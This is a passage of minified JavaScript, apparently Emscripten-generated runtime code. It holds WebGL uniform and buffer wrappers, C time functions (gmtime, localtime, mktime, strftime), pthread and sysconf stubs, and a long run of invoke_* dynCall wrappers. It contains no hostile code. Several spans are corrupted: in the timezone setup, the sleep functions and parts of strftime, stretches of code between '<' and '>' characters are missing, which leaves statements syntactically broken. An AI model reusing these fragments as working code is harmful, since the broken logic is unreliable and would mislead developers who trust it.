_glUniformMatrix3fv(location,count,transpose,value){if(GL.currentContext.supportsWebGL2EntryPoints){GLctx.uniformMatrix3fv(GL.uniforms[location],!!transpose,HEAPF32,value>>2,count*9);return}var view;if(9*count<=GL.MINI_TEMP_BUFFER_SIZE){view=GL.miniTempBufferViews[9*count-1];for(var i=0;i<9*count;i+=9){view[i]=HEAPF32[value+4*i>>2];view[i+1]=HEAPF32[value+(4*i+4)>>2];view[i+2]=HEAPF32[value+(4*i+8)>>2];view[i+3]=HEAPF32[value+(4*i+12)>>2];view[i+4]=HEAPF32[value+(4*i+16)>>2];view[i+5]=HEAPF32[value+(4*i+20)>>2];view[i+6]=HEAPF32[value+(4*i+24)>>2];view[i+7]=HEAPF32[value+(4*i+28)>>2];view[i+8]=HEAPF32[value+(4*i+32)>>2]}}else{view=HEAPF32.subarray(value>>2,value+count*36>>2)}GLctx.uniformMatrix3fv(GL.uniforms[location],!!transpose,view)}function _glUniformMatrix4fv(location,count,transpose,value){if(GL.currentContext.supportsWebGL2EntryPoints){GLctx.uniformMatrix4fv(GL.uniforms[location],!!transpose,HEAPF32,value>>2,count*16);return}var view;if(16*count<=GL.MINI_TEMP_BUFFER_SIZE){view=GL.miniTempBufferViews[16*count-1];for(var i=0;i<16*count;i+=16){view[i]=HEAPF32[value+4*i>>2];view[i+1]=HEAPF32[value+(4*i+4)>>2];view[i+2]=HEAPF32[value+(4*i+8)>>2];view[i+3]=HEAPF32[value+(4*i+12)>>2];view[i+4]=HEAPF32[value+(4*i+16)>>2];view[i+5]=HEAPF32[value+(4*i+20)>>2];view[i+6]=HEAPF32[value+(4*i+24)>>2];view[i+7]=HEAPF32[value+(4*i+28)>>2];view[i+8]=HEAPF32[value+(4*i+32)>>2];view[i+9]=HEAPF32[value+(4*i+36)>>2];view[i+10]=HEAPF32[value+(4*i+40)>>2];view[i+11]=HEAPF32[value+(4*i+44)>>2];view[i+12]=HEAPF32[value+(4*i+48)>>2];view[i+13]=HEAPF32[value+(4*i+52)>>2];view[i+14]=HEAPF32[value+(4*i+56)>>2];view[i+15]=HEAPF32[value+(4*i+60)>>2]}}else{view=HEAPF32.subarray(value>>2,value+count*64>>2)}GLctx.uniformMatrix4fv(GL.uniforms[location],!!transpose,view)}function _glUnmapBuffer(target){if(!emscriptenWebGLValidateMapBufferTarget(target)){GL.recordError(1280);err("GL_INVALID_ENUM in glUnmapBuffer");return 0}var buffer=emscriptenWebGLGetBufferBinding(target);var mapping=GL.mappedBuffers[buffer];if(!mapping){GL.recordError(1282);Module.printError("buffer was never mapped in glUnmapBuffer");return 0}GL.mappedBuffers[buffer]=null;if(!(mapping.access&16))if(GL.currentContext.supportsWebGL2EntryPoints){GLctx.bufferSubData(target,mapping.offset,HEAPU8,mapping.mem,mapping.length)}else{GLctx.bufferSubData(target,mapping.offset,HEAPU8.subarray(mapping.mem,mapping.mem+mapping.length))}_free(mapping.mem);return 1}function _glUseProgram(program){GLctx.useProgram(program?GL.programs[program]:null)}function _glValidateProgram(program){GLctx.validateProgram(GL.programs[program])}function _glVertexAttrib4f(x0,x1,x2,x3,x4){GLctx["vertexAttrib4f"](x0,x1,x2,x3,x4)}function _glVertexAttrib4fv(index,v){GLctx.vertexAttrib4f(index,HEAPF32[v>>2],HEAPF32[v+4>>2],HEAPF32[v+8>>2],HEAPF32[v+12>>2])}function _glVertexAttribIPointer(index,size,type,stride,ptr){var cb=GL.currentContext.clientBuffers[index];if(!GL.currArrayBuffer){cb.size=size;cb.type=type;cb.normalized=false;cb.stride=stride;cb.ptr=ptr;cb.clientside=true;return}cb.clientside=false;GLctx.vertexAttribIPointer(index,size,type,stride,ptr)}function _glVertexAttribPointer(index,size,type,normalized,stride,ptr){GLctx.vertexAttribPointer(index,size,type,!!normalized,stride,ptr)}function _glViewport(x0,x1,x2,x3){GLctx["viewport"](x0,x1,x2,x3)}var ___tm_current=STATICTOP;STATICTOP+=48;var ___tm_timezone=allocate(intArrayFromString("GMT"),"i8",ALLOC_STATIC);function _gmtime_r(time,tmPtr){var date=new Date(HEAP32[time>>2]*1e3);HEAP32[tmPtr>>2]=date.getUTCSeconds();HEAP32[tmPtr+4>>2]=date.getUTCMinutes();HEAP32[tmPtr+8>>2]=date.getUTCHours();HEAP32[tmPtr+12>>2]=date.getUTCDate();HEAP32[tmPtr+16>>2]=date.getUTCMonth();HEAP32[tmPtr+20>>2]=date.getUTCFullYear()-1900;HEAP32[tmPtr+24>>2]=date.getUTCDay();HEAP32[tmPtr+36>>2]=0;HEAP32[tmPtr+32>>2]=0;var start=Date.UTC(date.getUTCFullYear(),0,1,0,0,0,0);var yday=(date.getTime()-start)/(1e3*60*60*24)|0;HEAP32[tmPtr+28>>2]=yday;HEAP32[tmPtr+40>>2]=___tm_timezone;return tmPtr}function _gmtime(time){return _gmtime_r(time,___tm_current)}function _inet_addr(ptr){var addr=__inet_pton4_raw(Pointer_stringify(ptr));if(addr===null){return-1}return addr}var _llvm_ceil_f32=Math_ceil;var _llvm_ceil_f64=Math_ceil;function _llvm_copysign_f64(x,y){return y<0||y===0&&1/y<0?-Math_abs(x):Math_abs(x)}var _llvm_cos_f32=Math_cos;function _llvm_cttz_i32(x){x=x|0;return(x?31-(Math_clz32(x^x-1)|0)|0:32)|0}function _llvm_eh_typeid_for(type){return type}function _llvm_exp2_f32(x){return Math.pow(2,x)}var _llvm_fabs_f32=Math_abs;var _llvm_fabs_f64=Math_abs;var _llvm_floor_f32=Math_floor;var _llvm_floor_f64=Math_floor;function _llvm_log10_f32(x){return Math.log(x)/Math.LN10}function _llvm_log2_f32(x){return Math.log(x)/Math.LN2}var _llvm_pow_f64=Math_pow;var _llvm_sin_f32=Math_sin;var _llvm_sqrt_f32=Math_sqrt;function _llvm_trap(){abort("trap!")}var _llvm_trunc_f32=Math_trunc;function _tzset(){if(_tzset.called)return;_tzset.called=true;HEAP32[__get_timezone()>>2]=(new Date).getTimezoneOffset()*60;var currentYear=(new Date).getFullYear();var winter=new Date(currentYear,0,1);var summer=new Date(currentYear,6,1);HEAP32[__get_daylight()>>2]=Number(winter.getTimezoneOffset()!=summer.getTimezoneOffset());function extractZone(date){var match=date.toTimeString().match(/\(([A-Za-z ]+)\)$/);return match?match[1]:"GMT"}var winterName=extractZone(winter);var summerName=extractZone(summer);var winterNamePtr=allocate(intArrayFromString(winterName),"i8",ALLOC_NORMAL);var summerNamePtr=allocate(intArrayFromString(summerName),"i8",ALLOC_NORMAL);if(summer.getTimezoneOffset()>2]=winterNamePtr;HEAP32[__get_tzname()+4>>2]=summerNamePtr}else{HEAP32[__get_tzname()>>2]=summerNamePtr;HEAP32[__get_tzname()+4>>2]=winterNamePtr}}function _localtime_r(time,tmPtr){_tzset();var date=new Date(HEAP32[time>>2]*1e3);HEAP32[tmPtr>>2]=date.getSeconds();HEAP32[tmPtr+4>>2]=date.getMinutes();HEAP32[tmPtr+8>>2]=date.getHours();HEAP32[tmPtr+12>>2]=date.getDate();HEAP32[tmPtr+16>>2]=date.getMonth();HEAP32[tmPtr+20>>2]=date.getFullYear()-1900;HEAP32[tmPtr+24>>2]=date.getDay();var start=new Date(date.getFullYear(),0,1);var yday=(date.getTime()-start.getTime())/(1e3*60*60*24)|0;HEAP32[tmPtr+28>>2]=yday;HEAP32[tmPtr+36>>2]=-(date.getTimezoneOffset()*60);var summerOffset=(new Date(date.getFullYear(),6,1)).getTimezoneOffset();var winterOffset=start.getTimezoneOffset();var dst=(summerOffset!=winterOffset&&date.getTimezoneOffset()==Math.min(winterOffset,summerOffset))|0;HEAP32[tmPtr+32>>2]=dst;var zonePtr=HEAP32[__get_tzname()+(dst?4:0)>>2];HEAP32[tmPtr+40>>2]=zonePtr;return tmPtr}function _localtime(time){return _localtime_r(time,___tm_current)}function _longjmp(env,value){Module["setThrew"](env,value||1);throw"longjmp"}function _emscripten_memcpy_big(dest,src,num){HEAPU8.set(HEAPU8.subarray(src,src+num),dest);return dest}function _mktime(tmPtr){_tzset();var date=new Date(HEAP32[tmPtr+20>>2]+1900,HEAP32[tmPtr+16>>2],HEAP32[tmPtr+12>>2],HEAP32[tmPtr+8>>2],HEAP32[tmPtr+4>>2],HEAP32[tmPtr>>2],0);var dst=HEAP32[tmPtr+32>>2];var guessedOffset=date.getTimezoneOffset();var start=new Date(date.getFullYear(),0,1);var summerOffset=(new Date(date.getFullYear(),6,1)).getTimezoneOffset();var winterOffset=start.getTimezoneOffset();var dstOffset=Math.min(winterOffset,summerOffset);if(dst<0){HEAP32[tmPtr+32>>2]=Number(summerOffset!=winterOffset&&dstOffset==guessedOffset)}else if(dst>0!=(dstOffset==guessedOffset)){var nonDstOffset=Math.max(winterOffset,summerOffset);var trueOffset=dst>0?dstOffset:nonDstOffset;date.setTime(date.getTime()+(trueOffset-guessedOffset)*6e4)}HEAP32[tmPtr+24>>2]=date.getDay();var yday=(date.getTime()-start.getTime())/(1e3*60*60*24)|0;HEAP32[tmPtr+28>>2]=yday;return date.getTime()/1e3|0}function _usleep(useconds){var msec=useconds/1e3;if((ENVIRONMENT_IS_WEB||ENVIRONMENT_IS_WORKER)&&self["performance"]&&self["performance"]["now"]){var start=self["performance"]["now"]();while(self["performance"]["now"]()-start>2];var nanoseconds=HEAP32[rqtp+4>>2];if(rmtp!==0){HEAP32[rmtp>>2]=0;HEAP32[rmtp+4>>2]=0}return _usleep(seconds*1e6+nanoseconds/1e3)}function _pthread_cond_destroy(){return 0}function _pthread_cond_init(){return 0}function _pthread_cond_timedwait(){return 0}function _pthread_cond_wait(){return 0}var PTHREAD_SPECIFIC={};function _pthread_getspecific(key){return PTHREAD_SPECIFIC[key]||0}var PTHREAD_SPECIFIC_NEXT_KEY=1;function _pthread_key_create(key,destructor){if(key==0){return ERRNO_CODES.EINVAL}HEAP32[key>>2]=PTHREAD_SPECIFIC_NEXT_KEY;PTHREAD_SPECIFIC[PTHREAD_SPECIFIC_NEXT_KEY]=0;PTHREAD_SPECIFIC_NEXT_KEY++;return 0}function _pthread_key_delete(key){if(key in PTHREAD_SPECIFIC){delete PTHREAD_SPECIFIC[key];return 0}return ERRNO_CODES.EINVAL}function _pthread_mutex_destroy(){}function _pthread_mutex_init(){}function _pthread_mutexattr_destroy(){}function _pthread_mutexattr_init(){}function _pthread_mutexattr_setprotocol(){}function _pthread_mutexattr_settype(){}function _pthread_once(ptr,func){if(!_pthread_once.seen)_pthread_once.seen={};if(ptr in _pthread_once.seen)return;Module["dynCall_v"](func);_pthread_once.seen[ptr]=1}function _pthread_setspecific(key,value){if(!(key in PTHREAD_SPECIFIC)){return ERRNO_CODES.EINVAL}PTHREAD_SPECIFIC[key]=value;return 0}function _sched_yield(){return 0}function _setenv(envname,envval,overwrite){if(envname===0){___setErrNo(ERRNO_CODES.EINVAL);return-1}var name=Pointer_stringify(envname);var val=Pointer_stringify(envval);if(name===""||name.indexOf("=")!==-1){___setErrNo(ERRNO_CODES.EINVAL);return-1}if(ENV.hasOwnProperty(name)&&!overwrite)return 0;ENV[name]=val;___buildEnvironment(__get_environ());return 0}function _sigaction(signum,act,oldact){return 0}function _sigemptyset(set){HEAP32[set>>2]=0;return 0}function __isLeapYear(year){return year%4===0&&(year%100!==0||year%400===0)}function __arraySum(array,index){var sum=0;for(var i=0;i<=index;sum+=array[i++]);return sum}var __MONTH_DAYS_LEAP=[31,29,31,30,31,30,31,31,30,31,30,31];var __MONTH_DAYS_REGULAR=[31,28,31,30,31,30,31,31,30,31,30,31];function __addDays(date,days){var newDate=new Date(date.getTime());while(days>0){var leap=__isLeapYear(newDate.getFullYear());var currentMonth=newDate.getMonth();var daysInCurrentMonth=(leap?__MONTH_DAYS_LEAP:__MONTH_DAYS_REGULAR)[currentMonth];if(days>daysInCurrentMonth-newDate.getDate()){days-=daysInCurrentMonth-newDate.getDate()+1;newDate.setDate(1);if(currentMonth<11){newDate.setMonth(currentMonth+1)}else{newDate.setMonth(0);newDate.setFullYear(newDate.getFullYear()+1)}}else{newDate.setDate(newDate.getDate()+days);return newDate}}return newDate}function _strftime(s,maxsize,format,tm){var tm_zone=HEAP32[tm+40>>2];var date={tm_sec:HEAP32[tm>>2],tm_min:HEAP32[tm+4>>2],tm_hour:HEAP32[tm+8>>2],tm_mday:HEAP32[tm+12>>2],tm_mon:HEAP32[tm+16>>2],tm_year:HEAP32[tm+20>>2],tm_wday:HEAP32[tm+24>>2],tm_yday:HEAP32[tm+28>>2],tm_isdst:HEAP32[tm+32>>2],tm_gmtoff:HEAP32[tm+36>>2],tm_zone:tm_zone?Pointer_stringify(tm_zone):""};var pattern=Pointer_stringify(format);var EXPANSION_RULES_1={"%c":"%a %b %d %H:%M:%S %Y","%D":"%m/%d/%y","%F":"%Y-%m-%d","%h":"%b","%r":"%I:%M:%S %p","%R":"%H:%M","%T":"%H:%M:%S","%x":"%m/%d/%y","%X":"%H:%M:%S"};for(var rule in EXPANSION_RULES_1){pattern=pattern.replace(new RegExp(rule,"g"),EXPANSION_RULES_1[rule])}var WEEKDAYS=["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"];var MONTHS=["January","February","March","April","May","June","July","August","September","October","November","December"];function leadingSomething(value,digits,character){var str=typeof value==="number"?value.toString():value||"";while(str.length0?1:0}var compare;if((compare=sgn(date1.getFullYear()-date2.getFullYear()))===0){if((compare=sgn(date1.getMonth()-date2.getMonth()))===0){compare=sgn(date1.getDate()-date2.getDate())}}return compare}function getFirstWeekStartDate(janFourth){switch(janFourth.getDay()){case 0:return new Date(janFourth.getFullYear()-1,11,29);case 1:return janFourth;case 2:return new Date(janFourth.getFullYear(),0,3);case 3:return new Date(janFourth.getFullYear(),0,2);case 4:return new Date(janFourth.getFullYear(),0,1);case 5:return new Date(janFourth.getFullYear()-1,11,31);case 6:return new Date(janFourth.getFullYear()-1,11,30)}}function getWeekBasedYear(date){var thisDate=__addDays(new Date(date.tm_year+1900,0,1),date.tm_yday);var janFourthThisYear=new Date(thisDate.getFullYear(),0,4);var janFourthNextYear=new Date(thisDate.getFullYear()+1,0,4);var firstWeekStartThisYear=getFirstWeekStartDate(janFourthThisYear);var firstWeekStartNextYear=getFirstWeekStartDate(janFourthNextYear);if(compareByDay(firstWeekStartThisYear,thisDate)<=0){if(compareByDay(firstWeekStartNextYear,thisDate)<=0){return thisDate.getFullYear()+1}else{return thisDate.getFullYear()}}else{return thisDate.getFullYear()-1}}var EXPANSION_RULES_2={"%a":(function(date){return WEEKDAYS[date.tm_wday].substring(0,3)}),"%A":(function(date){return WEEKDAYS[date.tm_wday]}),"%b":(function(date){return MONTHS[date.tm_mon].substring(0,3)}),"%B":(function(date){return MONTHS[date.tm_mon]}),"%C":(function(date){var year=date.tm_year+1900;return leadingNulls(year/100|0,2)}),"%d":(function(date){return leadingNulls(date.tm_mday,2)}),"%e":(function(date){return leadingSomething(date.tm_mday,2," ")}),"%g":(function(date){return getWeekBasedYear(date).toString().substring(2)}),"%G":(function(date){return getWeekBasedYear(date)}),"%H":(function(date){return leadingNulls(date.tm_hour,2)}),"%I":(function(date){var twelveHour=date.tm_hour;if(twelveHour==0)twelveHour=12;else if(twelveHour>12)twelveHour-=12;return leadingNulls(twelveHour,2)}),"%j":(function(date){return leadingNulls(date.tm_mday+__arraySum(__isLeapYear(date.tm_year+1900)?__MONTH_DAYS_LEAP:__MONTH_DAYS_REGULAR,date.tm_mon-1),3)}),"%m":(function(date){return leadingNulls(date.tm_mon+1,2)}),"%M":(function(date){return leadingNulls(date.tm_min,2)}),"%n":(function(){return"\n"}),"%p":(function(date){if(date.tm_hour>=0&&date.tm_hour<12){return"AM"}else{return"PM"}}),"%S":(function(date){return leadingNulls(date.tm_sec,2)}),"%t":(function(){return"\t"}),"%u":(function(date){var day=new Date(date.tm_year+1900,date.tm_mon+1,date.tm_mday,0,0,0,0);return day.getDay()||7}),"%U":(function(date){var janFirst=new Date(date.tm_year+1900,0,1);var firstSunday=janFirst.getDay()===0?janFirst:__addDays(janFirst,7-janFirst.getDay());var endDate=new Date(date.tm_year+1900,date.tm_mon,date.tm_mday);if(compareByDay(firstSunday,endDate)<0){var februaryFirstUntilEndMonth=__arraySum(__isLeapYear(endDate.getFullYear())?__MONTH_DAYS_LEAP:__MONTH_DAYS_REGULAR,endDate.getMonth()-1)-31;var firstSundayUntilEndJanuary=31-firstSunday.getDate();var days=firstSundayUntilEndJanuary+februaryFirstUntilEndMonth+endDate.getDate();return leadingNulls(Math.ceil(days/7),2)}return compareByDay(firstSunday,janFirst)===0?"01":"00"}),"%V":(function(date){var janFourthThisYear=new Date(date.tm_year+1900,0,4);var janFourthNextYear=new Date(date.tm_year+1901,0,4);var firstWeekStartThisYear=getFirstWeekStartDate(janFourthThisYear);var firstWeekStartNextYear=getFirstWeekStartDate(janFourthNextYear);var endDate=__addDays(new Date(date.tm_year+1900,0,1),date.tm_yday);if(compareByDay(endDate,firstWeekStartThisYear)<0){return"53"}if(compareByDay(firstWeekStartNextYear,endDate)<=0){return"01"}var daysDifference;if(firstWeekStartThisYear.getFullYear()=0;off=Math.abs(off)/60;off=off/60*100+off%60;return(ahead?"+":"-")+String("0000"+off).slice(-4)}),"%Z":(function(date){return date.tm_zone}),"%%":(function(){return"%"})};for(var rule in EXPANSION_RULES_2){if(pattern.indexOf(rule)>=0){pattern=pattern.replace(new RegExp(rule,"g"),EXPANSION_RULES_2[rule](date))}}var bytes=intArrayFromString(pattern,false);if(bytes.length>maxsize){return 0}writeArrayToMemory(bytes,s);return bytes.length-1}function _sysconf(name){switch(name){case 30:return PAGE_SIZE;case 85:var maxHeapSize=2*1024*1024*1024-65536;return maxHeapSize/PAGE_SIZE;case 132:case 133:case 12:case 137:case 138:case 15:case 235:case 16:case 17:case 18:case 19:case 20:case 149:case 13:case 10:case 236:case 153:case 9:case 21:case 22:case 159:case 154:case 14:case 77:case 78:case 139:case 80:case 81:case 82:case 68:case 67:case 164:case 11:case 29:case 47:case 48:case 95:case 52:case 51:case 46:return 200809;case 79:return 0;case 27:case 246:case 127:case 128:case 23:case 24:case 160:case 161:case 181:case 182:case 242:case 183:case 184:case 243:case 244:case 245:case 165:case 178:case 179:case 49:case 50:case 168:case 169:case 175:case 170:case 171:case 172:case 97:case 76:case 32:case 173:case 35:return-1;case 176:case 177:case 7:case 155:case 8:case 157:case 125:case 126:case 92:case 93:case 129:case 130:case 131:case 94:case 91:return 1;case 74:case 60:case 69:case 70:case 4:return 1024;case 31:case 42:case 72:return 32;case 87:case 26:case 33:return 2147483647;case 34:case 1:return 47839;case 38:case 36:return 99;case 43:case 37:return 2048;case 0:return 2097152;case 3:return 65536;case 28:return 32768;case 44:return 32767;case 75:return 16384;case 39:return 1e3;case 89:return 700;case 71:return 256;case 40:return 255;case 2:return 100;case 180:return 64;case 25:return 20;case 5:return 16;case 6:return 6;case 73:return 4;case 84:{if(typeof navigator==="object")return navigator["hardwareConcurrency"]||1;return 1}}___setErrNo(ERRNO_CODES.EINVAL);return-1}function _time(ptr){var ret=Date.now()/1e3|0;if(ptr){HEAP32[ptr>>2]=ret}return ret}function _unsetenv(name){if(name===0){___setErrNo(ERRNO_CODES.EINVAL);return-1}name=Pointer_stringify(name);if(name===""||name.indexOf("=")!==-1){___setErrNo(ERRNO_CODES.EINVAL);return-1}if(ENV.hasOwnProperty(name)){delete ENV[name];___buildEnvironment(__get_environ())}return 0}function _utime(path,times){var time;if(times){var offset=4;time=HEAP32[times+offset>>2];time*=1e3}else{time=Date.now()}path=Pointer_stringify(path);try{FS.utime(path,time,time);return 0}catch(e){FS.handleFSError(e);return-1}}FS.staticInit();__ATINIT__.unshift((function(){if(!Module["noFSInit"]&&!FS.init.initialized)FS.init()}));__ATMAIN__.push((function(){FS.ignorePermissions=false}));__ATEXIT__.push((function(){FS.quit()}));Module["FS_createPath"]=FS.createPath;Module["FS_createDataFile"]=FS.createDataFile;__ATINIT__.unshift((function(){TTY.init()}));__ATEXIT__.push((function(){TTY.shutdown()}));if(ENVIRONMENT_IS_NODE){var fs=require("fs");var NODEJS_PATH=require("path");NODEFS.staticInit()}__ATINIT__.push((function(){SOCKFS.root=FS.mount(SOCKFS,{},null)}));if(ENVIRONMENT_IS_NODE){_emscripten_get_now=function _emscripten_get_now_actual(){var t=process["hrtime"]();return t[0]*1e3+t[1]/1e6}}else if(typeof dateNow!=="undefined"){_emscripten_get_now=dateNow}else if(typeof self==="object"&&self["performance"]&&typeof self["performance"]["now"]==="function"){_emscripten_get_now=(function(){return self["performance"]["now"]()})}else if(typeof performance==="object"&&typeof performance["now"]==="function"){_emscripten_get_now=(function(){return performance["now"]()})}else{_emscripten_get_now=Date.now}Module["requestFullScreen"]=function Module_requestFullScreen(lockPointer,resizeCanvas,vrDevice){err("Module.requestFullScreen is deprecated. Please call Module.requestFullscreen instead.");Module["requestFullScreen"]=Module["requestFullscreen"];Browser.requestFullScreen(lockPointer,resizeCanvas,vrDevice)};Module["requestFullscreen"]=function Module_requestFullscreen(lockPointer,resizeCanvas,vrDevice){Browser.requestFullscreen(lockPointer,resizeCanvas,vrDevice)};Module["requestAnimationFrame"]=function Module_requestAnimationFrame(func){Browser.requestAnimationFrame(func)};Module["setCanvasSize"]=function Module_setCanvasSize(width,height,noUpdates){Browser.setCanvasSize(width,height,noUpdates)};Module["pauseMainLoop"]=function Module_pauseMainLoop(){Browser.mainLoop.pause()};Module["resumeMainLoop"]=function Module_resumeMainLoop(){Browser.mainLoop.resume()};Module["getUserMedia"]=function Module_getUserMedia(){Browser.getUserMedia()};Module["createContext"]=function Module_createContext(canvas,useWebGL,setInModule,webGLContextAttributes){return Browser.createContext(canvas,useWebGL,setInModule,webGLContextAttributes)};JSEvents.staticInit();var GLctx;GL.init();DYNAMICTOP_PTR=staticAlloc(4);STACK_BASE=STACKTOP=alignMemory(STATICTOP);STACK_MAX=STACK_BASE+TOTAL_STACK;DYNAMIC_BASE=alignMemory(STACK_MAX);HEAP32[DYNAMICTOP_PTR>>2]=DYNAMIC_BASE;staticSealed=true;function intArrayFromString(stringy,dontAddNull,length){var len=length>0?length:lengthBytesUTF8(stringy)+1;var u8array=new Array(len);var numBytesWritten=stringToUTF8Array(stringy,u8array,0,u8array.length);if(dontAddNull)u8array.length=numBytesWritten;return u8array}Module["wasmTableSize"]=70313;Module["wasmMaxTableSize"]=70313;function invoke_dddi(index,a1,a2,a3){var sp=stackSave();try{return Module["dynCall_dddi"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_ddi(index,a1,a2){var sp=stackSave();try{return Module["dynCall_ddi"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_ddidi(index,a1,a2,a3,a4){var sp=stackSave();try{return Module["dynCall_ddidi"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_dfi(index,a1,a2){var sp=stackSave();try{return Module["dynCall_dfi"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_di(index,a1){var sp=stackSave();try{return Module["dynCall_di"](index,a1)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_diddi(index,a1,a2,a3,a4){var sp=stackSave();try{return Module["dynCall_diddi"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_didi(index,a1,a2,a3){var sp=stackSave();try{return Module["dynCall_didi"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_dii(index,a1,a2){var sp=stackSave();try{return Module["dynCall_dii"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_diii(index,a1,a2,a3){var sp=stackSave();try{return Module["dynCall_diii"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_diiii(index,a1,a2,a3,a4){var sp=stackSave();try{return Module["dynCall_diiii"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_dji(index,a1,a2,a3){var sp=stackSave();try{return Module["dynCall_dji"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_f(index){var sp=stackSave();try{return Module["dynCall_f"](index)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_fdi(index,a1,a2){var sp=stackSave();try{return Module["dynCall_fdi"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_ff(index,a1){var sp=stackSave();try{return Module["dynCall_ff"](index,a1)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_fff(index,a1,a2){var sp=stackSave();try{return Module["dynCall_fff"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_ffffffi(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{return Module["dynCall_ffffffi"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_ffffi(index,a1,a2,a3,a4){var sp=stackSave();try{return Module["dynCall_ffffi"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_fffi(index,a1,a2,a3){var sp=stackSave();try{return Module["dynCall_fffi"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_fffifffi(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{return Module["dynCall_fffifffi"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_ffi(index,a1,a2){var sp=stackSave();try{return Module["dynCall_ffi"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_fi(index,a1){var sp=stackSave();try{return Module["dynCall_fi"](index,a1)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_fidi(index,a1,a2,a3){var sp=stackSave();try{return Module["dynCall_fidi"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_fif(index,a1,a2){var sp=stackSave();try{return Module["dynCall_fif"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_fiff(index,a1,a2,a3){var sp=stackSave();try{return Module["dynCall_fiff"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_fifffi(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module["dynCall_fifffi"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_fiffi(index,a1,a2,a3,a4){var sp=stackSave();try{return Module["dynCall_fiffi"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_fifi(index,a1,a2,a3){var sp=stackSave();try{return Module["dynCall_fifi"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_fifii(index,a1,a2,a3,a4){var sp=stackSave();try{return Module["dynCall_fifii"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_fifiii(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module["dynCall_fifiii"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_fifiiiii(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{return Module["dynCall_fifiiiii"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_fii(index,a1,a2){var sp=stackSave();try{return Module["dynCall_fii"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_fiifi(index,a1,a2,a3,a4){var sp=stackSave();try{return Module["dynCall_fiifi"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_fiifii(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module["dynCall_fiifii"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function 